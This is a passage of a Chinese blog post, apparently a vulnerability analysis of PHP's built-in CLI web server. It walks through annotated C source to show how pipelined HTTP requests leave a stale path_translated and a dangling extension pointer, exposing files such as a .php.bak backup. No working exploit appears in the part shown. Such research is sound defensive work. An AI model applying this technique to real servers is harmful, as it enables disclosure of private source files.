\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510         \u2502\n\u2502  \u2502 vpath: 0x001000 \u2192 \"phantom.php\" (\u8986\u76d6)    \u2502         \u2502\n\u2502  \u2502                      \u2514\u2500\u2500\u2510                  \u2502         \u2502\n\u2502  \u2502 ext:   0x001012 \u2500\u2500\u2500\u2500\u2500\u2510  \u2502 (\u60ac\u7a7a\u6307\u9488\uff01)    \u2502         \u2502\n\u2502  \u2502                      \u25bc  \u25bc                  \u2502         \u2502\n\u2502  \u2502        (\u6307\u5411\u5df2\u91ca\u653e\u7684\u5185\u5b58\u6216\u5783\u573e\u6570\u636e)        \u2502         \u2502\n\u2502  \u2502                                            \u2502         \u2502\n\u2502  \u2502 path_translated: 0x002000 \u2192  (\u672a\u6539\u53d8!)    \u2502         \u2502\n\u2502  \u2502   \"\/var\/www\/s3Cr37_f1L3.php.bak\"          \u2502         \u2502\n\u2502  \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518         \u2502\n\u2502                                                          \u2502\n\u2502  \u7b2c\u4e8c\u4e2a\u8bf7\u6c42\u7684 on_message_complete() \u8c03\u7528\u540e\uff1a            \u2502\n\u2502  \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510         \u2502\n\u2502  \u2502 vpath: 0x001000 \u2192 \"phantom.php\"           \u2502         \u2502\n\u2502  \u2502                      \u2514\u2500\u2500\u2510                  \u2502         \u2502\n\u2502  \u2502 ext:   0x001008 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 (\"php\")         \u2502         \u2502\n\u2502  \u2502 ext_len: 3                                 \u2502         \u2502\n\u2502  \u2502                                            \u2502         \u2502\n\u2502  \u2502 path_translated: 0x002000 \u2192  (\u4ecd\u672a\u6539\u53d8!)  \u2502         \u2502\n\u2502  \u2502   \"\/var\/www\/s3Cr37_f1L3.php.bak\"          \u2502         \u2502\n\u2502  \u2502                                            \u2502         \u2502\n\u2502  \u2502   \u7c7b\u578b\u6df7\u6dc6\u72b6\u6001                              \u2502         \u2502\n\u2502  \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518         \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/code><\/pre>\n\n\n\n<h6 class=\"wp-block-heading\" id=\"ROiKU\">\u8bf7\u6c42\u8bfb\u53d6\u5165\u53e3<\/h6>\n\n\n\n<p id=\"u589580c9\">\u6587\u4ef6: sapi\/cli\/php_cli_server.c\uff1aphp_cli_server_client_read_request<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-8-1024x577.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"577\" data-attachment-id=\"271\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=271\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-8.png\" data-orig-size=\"1916,1079\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-8-300x169.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-8-1024x577.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-8-1024x577.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-271\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre id=\"B1HXJ\" class=\"wp-block-code\"><code>static int php_cli_server_client_read_request(\n    php_cli_server_client *client,\n    char **errstr)\n{\n    char buf&#91;16384];  \/\/  16KB\u7f13\u51b2\u533a\uff0c\u53ef\u5bb9\u7eb3\u591a\u4e2a\u8bf7\u6c42\n\n    static const php_http_parser_settings settings = {\n        php_cli_server_client_read_request_on_message_begin,\n        php_cli_server_client_read_request_on_path,         \/\/ \uff01\n        php_cli_server_client_read_request_on_query_string,\n        php_cli_server_client_read_request_on_url,\n        php_cli_server_client_read_request_on_fragment,\n        php_cli_server_client_read_request_on_header_field,\n        php_cli_server_client_read_request_on_header_value,\n        php_cli_server_client_read_request_on_headers_complete,\n        php_cli_server_client_read_request_on_body,\n        php_cli_server_client_read_request_on_message_complete  \/\/ \uff01\n    };\n\n    size_t nbytes_consumed;\n    int nbytes_read;\n\n    \/\/ \u3010\u68c0\u67e5\u70b91\u3011: \u5982\u679c\u5df2\u8bfb\u53d6\u5b8c\u6210\uff0c\u76f4\u63a5\u8fd4\u56de\n    if (client-&gt;request_read) {\n        return 1;  \/\/ \uff01 \u53ea\u5728\u51fd\u6570\u5165\u53e3\u68c0\u67e5\u4e00\u6b21\n    }\n\n    \/\/ \u3010\u5173\u952e\u64cd\u4f5c\u3011: \u4ecesocket\u8bfb\u53d6\u6570\u636e\n    \/\/ \u5982\u679c\u5ba2\u6237\u7aef\u53d1\u9001\u4e86\u591a\u4e2a\u8bf7\u6c42\uff0c\u53ef\u80fd\u4e00\u6b21\u6027\u8bfb\u5165buf\n    nbytes_read = recv(client-&gt;sock, buf, sizeof(buf) - 1, 0);\n    if (nbytes_read &lt; 0) {\n        \/\/ \u9519\u8bef\u5904\u7406...\n        int err = php_socket_errno();\n        if (err == SOCK_EAGAIN) {\n            return 0;\n        }\n        *errstr = php_socket_strerror(err, NULL, 0);\n        return -1;\n    } else if (nbytes_read == 0) {\n        *errstr = estrdup(php_cli_server_request_error_unexpected_eof);\n        return -1;\n    }\n\n    client-&gt;parser.data = client;\n\n    \/\/ \u3010\u6f0f\u6d1e\u89e6\u53d1\u70b9\u3011: \u8c03\u7528HTTP\u89e3\u6790\u5668\n    \/\/ \u8fd9\u4e2a\u51fd\u6570\u4f1a\u89e3\u6790buf\u4e2d\u7684\u6240\u6709\u5b8c\u6574\u8bf7\u6c42\n    \/\/ \u6bcf\u89e3\u6790\u5b8c\u4e00\u4e2a\u8bf7\u6c42\uff0c\u90fd\u4f1a\u8c03\u7528on_message_complete\n    nbytes_consumed = php_http_parser_execute(&amp;client-&gt;parser,\n                                                &amp;settings,\n                                                buf,\n                                                nbytes_read);\n\n    if (nbytes_consumed != (size_t)nbytes_read) {\n        \/\/ \u89e3\u6790\u9519\u8bef...\n        if (buf&#91;0] &amp; 0x80 || buf&#91;0] == 0x16) {\n            *errstr = estrdup(\"Unsupported SSL request\");\n        } else {\n            *errstr = estrdup(\"Malformed HTTP request\");\n        }\n        return -1;\n    }\n\n    \/\/ \u5904\u7406\u5f53\u524dheader...\n    if (client-&gt;current_header_name) {\n        char *header_name = safe_pemalloc(\n            client-&gt;current_header_name_len, 1, 1, 1);\n        memmove(header_name, client-&gt;current_header_name,\n                client-&gt;current_header_name_len);\n        client-&gt;current_header_name = header_name;\n        client-&gt;current_header_name_allocated = 1;\n    }\n\n    return client-&gt;request_read ? 1 : 0;\n}<\/code><\/pre>\n\n\n\n<p id=\"u3fc56f3e\">\u95ee\u9898\u5206\u6790<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"685\" height=\"87\" data-attachment-id=\"272\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=272\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-9.png\" data-orig-size=\"685,87\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-9-300x38.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-9.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-272\"  sizes=\"auto, (max-width: 685px) 100vw, 685px\" \/><\/div><\/figure>\n\n\n\n<p id=\"ufbf49cc5\">\u8fd9\u4e2a\u68c0\u67e5\u53ea\u5728\u51fd\u6570\u5165\u53e3\u6267\u884c\u4e00\u6b21\uff0c\u5e76\u4e14\u65e0\u6cd5\u963b\u6b62 php_http_parser_execute() \u5185\u90e8\u89e3\u6790\u591a\u4e2a\u8bf7\u6c42<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-10-1024x252.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"252\" data-attachment-id=\"273\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=273\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-10.png\" data-orig-size=\"1388,342\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-10-300x74.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-10-1024x252.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-10-1024x252.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-273\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u64cf0563\">\u89e3\u6790\u5668\u4f1a\u5904\u7406 buf \u4e2d\u7684\u6240\u6709\u5b8c\u6574\u8bf7\u6c42<\/p>\n\n\n\n<p id=\"ua6069acb\">\u6bcf\u9047\u5230 \\r\\n\\r\\n\uff08\u8bf7\u6c42\u7ed3\u675f\u6807\u8bb0\uff09\uff0c\u5c31\u89e6\u53d1 on_message_complete<\/p>\n\n\n\n<h6 class=\"wp-block-heading\" id=\"gCBPK\">\u8def\u5f84\u56de\u8c03<\/h6>\n\n\n\n<p id=\"uc45efd7f\">\u6587\u4ef6: sapi\/cli\/php_cli_server.c\uff1aphp_cli_server_client_read_request_on_path<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-11-1024x217.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"217\" data-attachment-id=\"274\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=274\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-11.png\" data-orig-size=\"1908,405\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-11-300x64.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-11-1024x217.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-11-1024x217.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-274\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre id=\"Xpbim\" class=\"wp-block-code\"><code>static int php_cli_server_client_read_request_on_path(\n    php_http_parser *parser,\n    const char *at,        \/\/ \u6307\u5411\u89e3\u6790\u7f13\u51b2\u533a\u4e2d\u7684\u8def\u5f84\u5b57\u7b26\u4e32\n    size_t length)         \/\/ \u8def\u5f84\u957f\u5ea6\n{\n    php_cli_server_client *client = parser-&gt;data;\n    {\n        char *vpath;\n        size_t vpath_len;\n\n        \/\/ \u89c4\u8303\u5316\u865a\u62df\u8def\u5f84\uff08\u5904\u7406URL\u7f16\u7801\u3001\u76f8\u5bf9\u8def\u5f84\u7b49\uff09\n        normalize_vpath(&amp;vpath, &amp;vpath_len, at, length, 1);\n\n        \/\/ \u6f0f\u6d1e\u70b9: \u65e0\u6761\u4ef6\u8986\u76d6\n        \/\/ \u95ee\u98981: \u6ca1\u6709\u68c0\u67e5client-&gt;request_read\u6807\u5fd7\n        \/\/ \u95ee\u98982: \u76f4\u63a5\u8986\u76d6\u6307\u9488\uff0c\u5bfc\u81f4ext\u6210\u4e3a\u60ac\u7a7a\u6307\u9488\n        \/\/ \u95ee\u98983: \u6ca1\u6709\u91ca\u653e\u65e7\u7684vpath\u5185\u5b58\uff08normalize_vpath\u5185\u90e8\u4f1a\u5904\u7406\uff09\n        client-&gt;request.vpath = vpath;\n        client-&gt;request.vpath_len = vpath_len;\n    }\n    return 0;\n}<\/code><\/pre>\n\n\n\n<h6 class=\"wp-block-heading\" id=\"PJlFh\">\u8def\u5f84\u7ffb\u8bd1\u51fd\u6570<\/h6>\n\n\n\n<p id=\"u425f1537\">\u6587\u4ef6: sapi\/cli\/php_cli_server.c\uff1aphp_cli_server_request_translate_vpath<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-12-1024x559.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"559\" data-attachment-id=\"275\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=275\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-12.png\" data-orig-size=\"1915,1045\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-12-300x164.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-12-1024x559.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-12-1024x559.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-275\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"ub9417821\">\u8fd9\u4e2a\u51fd\u6570\u6709\u4e00\u767e\u591a\u884c\uff0c\u5c31\u7b80\u5316\u903b\u8f91\u5c55\u793a\u4e86\uff0c\u611f\u5174\u8da3\u7684\u5e08\u5085\u53ef\u4ee5\u81ea\u5df1\u53bb\u9605\u8bfb\u6e90\u7801<\/p>\n\n\n\n<pre id=\"TXKR3\" class=\"wp-block-code\"><code>static void php_cli_server_request_translate_vpath(\n    php_cli_server_request *request,\n    const char *document_root,\n    size_t document_root_len)\n{\n    zend_stat_t sb;\n    static const char *index_files&#91;] = { \"index.php\", \"index.html\", NULL };\n\n    \/\/ \u5206\u914d\u7f13\u51b2\u533a\u5e76\u6784\u5efa\u5b8c\u6574\u8def\u5f84\n    char *buf = safe_pemalloc(1, request-&gt;vpath_len,\n                              1 + document_root_len + 1 + sizeof(\"index.html\"), 1);\n    char *p = buf, *prev_path = NULL, *q, *vpath;\n    size_t prev_path_len = 0;\n    int is_static_file = 0;\n\n    \/\/ \u62fc\u63a5\u8def\u5f84: document_root + vpath\n    memmove(p, document_root, document_root_len);\n    p += document_root_len;\n    vpath = p;\n\n    if (request-&gt;vpath_len &gt; 0 &amp;&amp; request-&gt;vpath&#91;0] != '\/') {\n        *p++ = DEFAULT_SLASH;\n    }\n\n    \/\/ \u68c0\u67e5vpath\u4e2d\u662f\u5426\u5305\u542b'.'\uff08\u5224\u65ad\u662f\u5426\u4e3a\u9759\u6001\u6587\u4ef6\uff09\n    q = request-&gt;vpath + request-&gt;vpath_len;\n    while (q &gt; request-&gt;vpath) {\n        if (*q-- == '.') {\n            is_static_file = 1;\n            break;\n        }\n    }\n\n    memmove(p, request-&gt;vpath, request-&gt;vpath_len);\n\n#ifdef PHP_WIN32\n    \/\/ Windows: \u8f6c\u6362\u8def\u5f84\u5206\u9694\u7b26\n    q = p + request-&gt;vpath_len;\n    do {\n        if (*q == '\/') {\n            *q = '\\\\';\n        }\n    } while (q-- &gt; p);\n#endif\n\n    p += request-&gt;vpath_len;\n    *p = '\\0';\n    q = p;\n\n    \/\/ \u3010\u5173\u952e\u5faa\u73af\u3011: \u5c1d\u8bd5stat\u6587\u4ef6\n    while (q &gt; buf) {\n        \/\/  \u5c1d\u8bd5stat\u6587\u4ef6\n        if (!php_sys_stat(buf, &amp;sb)) {\n            \/\/ \u6587\u4ef6\u5b58\u5728\n            if (sb.st_mode &amp; S_IFDIR) {\n                \/\/ \u5982\u679c\u662f\u76ee\u5f55\uff0c\u5c1d\u8bd5\u67e5\u627eindex\u6587\u4ef6\n                const char **file = index_files;\n                if (q&#91;-1] != DEFAULT_SLASH) {\n                    *q++ = DEFAULT_SLASH;\n                }\n                while (*file) {\n                    size_t l = strlen(*file);\n                    memmove(q, *file, l + 1);\n                    if (!php_sys_stat(buf, &amp;sb) &amp;&amp; (sb.st_mode &amp; S_IFREG)) {\n                        q += l;\n                        break;\n                    }\n                    file++;\n                }\n                if (!*file || is_static_file) {\n                    \/\/ \u6ca1\u627e\u5230\u7d22\u5f15\u6587\u4ef6\u6216\u662f\u9759\u6001\u6587\u4ef6\n                    if (prev_path) {\n                        pefree(prev_path, 1);\n                    }\n                    pefree(buf, 1);\n                    \/\/  \u3010\u5173\u952e\u70b9\u3011: \u76f4\u63a5\u8fd4\u56de\uff0c\u4e0d\u8bbe\u7f6epath_translated\n                    return;\n                }\n            }\n            \/\/ \u627e\u5230\u666e\u901a\u6587\u4ef6\uff0c\u8df3\u51fa\u5faa\u73af\n            break;\n        }\n\n        \/\/  \u3010\u5173\u952e\u70b9\u3011: \u6587\u4ef6\u4e0d\u5b58\u5728\u7684\u5904\u7406\n        \/\/ \u5982\u679c\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u8fd9\u91cc\u4f1a\u5c1d\u8bd5\u53bb\u6389\u6700\u540e\u4e00\u4e2a\u8def\u5f84\u7ec4\u4ef6\n        \/\/ \u4f46\u5bf9\u4e8e\u7b80\u5355\u7684\u6587\u4ef6\u540d\uff08\u5982phantom.php\uff09\uff0c\u4f1a\u76f4\u63a5\u8df3\u51fawhile\u5faa\u73af\n        \/\/ \u7136\u540e\u5728\u51fd\u6570\u672b\u5c3e\uff0c\u5982\u679csb\u672a\u88ab\u8bbe\u7f6e\uff08\u6587\u4ef6\u4e0d\u5b58\u5728\uff09\uff0c\n        \/\/ path_translated\u53ef\u80fd\u4e0d\u4f1a\u88ab\u66f4\u65b0\n\n        if (prev_path) {\n            pefree(prev_path, 1);\n            *q = DEFAULT_SLASH;\n        }\n        while (q &gt; buf &amp;&amp; *(--q) != DEFAULT_SLASH);\n        prev_path_len = p - q;\n        prev_path = pestrndup(q, prev_path_len, 1);\n        *q = '\\0';\n    }\n\n    \/\/ \u8bbe\u7f6epath_info\u548cpath_translated\n    if (prev_path) {\n        request-&gt;path_info_len = prev_path_len;\n#ifdef PHP_WIN32\n        while (prev_path_len--) {\n            if (prev_path&#91;prev_path_len] == '\\\\') {\n                prev_path&#91;prev_path_len] = '\/';\n            }\n        }\n#endif\n        request-&gt;path_info = prev_path;\n        pefree(request-&gt;vpath, 1);\n        request-&gt;vpath = pestrndup(vpath, q - vpath, 1);\n        request-&gt;vpath_len = q - vpath;\n        request-&gt;path_translated = buf;\n        request-&gt;path_translated_len = q - buf;\n    } else {\n        pefree(request-&gt;vpath, 1);\n        request-&gt;vpath = pestrndup(vpath, q - vpath, 1);\n        request-&gt;vpath_len = q - vpath;\n\n        \/\/  \u8fd9\u91cc\u8bbe\u7f6epath_translated\n        \/\/ \u4f46\u5982\u679c\u4e0a\u9762\u7684stat\u5931\u8d25\u4e86\uff0c\u53ef\u80fdbuf\u6307\u5411\u7684\u662fdocument_root\n        \/\/ \u6216\u8005\u6839\u672c\u6ca1\u6709\u6267\u884c\u5230\u8fd9\u91cc\uff08\u63d0\u524dreturn\u4e86\uff09\n        request-&gt;path_translated = buf;\n        request-&gt;path_translated_len = q - buf;\n    }\n\n#ifdef PHP_WIN32\n    \/\/ \u89c4\u8303\u5316vpath\n    {\n        uint32_t i = 0;\n        for (; i &lt; request-&gt;vpath_len; i++) {\n            if (request-&gt;vpath&#91;i] == '\\\\') {\n                request-&gt;vpath&#91;i] = '\/';\n            }\n        }\n    }\n#endif\n\n    request-&gt;sb = sb;\n}<\/code><\/pre>\n\n\n\n<p id=\"u3567e911\">\u5982\u679c\u7b2c\u4e8c\u4e2a\u8bf7\u6c42\u7684\u6587\u4ef6\uff08phantom.php\uff09\u4e0d\u5b58\u5728\uff0c\u51fd\u6570\u4f1a\u76f4\u63a5 return\uff0c\u4e0d\u4fee\u6539 path_translated\uff0c\u56e0\u6b64\u5bfc\u81f4 path_translated \u4fdd\u6301\u4e3a\u7b2c\u4e00\u4e2a\u8bf7\u6c42\u7684\u503c<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h6 class=\"wp-block-heading\" id=\"wroec\">\u62d3\u5c55\u540d\u83b7\u53d6<\/h6>\n\n\n\n<p id=\"udb71690e\">\u6587\u4ef6: sapi\/cli\/php_cli_server.c\uff1aphp_cli_server_client_read_request_on_message_complete<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-13-1024x570.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"570\" data-attachment-id=\"276\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=276\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/02\/image-13.png\" data-orig-size=\"1904,1060\" data-comments-opened=\"1\" 